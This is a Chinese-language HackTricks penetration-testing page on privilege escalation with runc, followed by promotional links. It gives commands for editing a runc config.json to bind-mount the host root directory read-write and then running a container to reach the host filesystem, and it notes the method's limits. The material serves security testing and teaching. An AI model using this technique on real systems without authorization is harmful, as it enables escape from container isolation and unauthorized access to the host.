hacktricks/linux-hardening/privilege-escalation/runc-privilege-escalation.md
2023-08-03 19:12:22 +00:00

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# RunC特权升级
<details>
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</details>
## 基本信息
如果你想了解更多关于**runc**的信息,请查看以下页面:
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
{% endcontent-ref %}
## PE
如果你发现主机上安装了`runc`,你可能能够**运行一个容器并挂载主机的根目录/文件夹**。
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs
# Finally, start the container
# The root folder is the one from the host
runc run demo
```
{% hint style="danger" %}
这种方法并不总是有效因为runc的默认操作是以root身份运行所以以非特权用户身份运行它是不可能的除非你有一个无需root权限的配置。将无需root权限的配置设置为默认配置通常不是一个好主意因为在无需root权限的容器内有一些限制在无需root权限的容器外是不适用的。
{% endhint %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>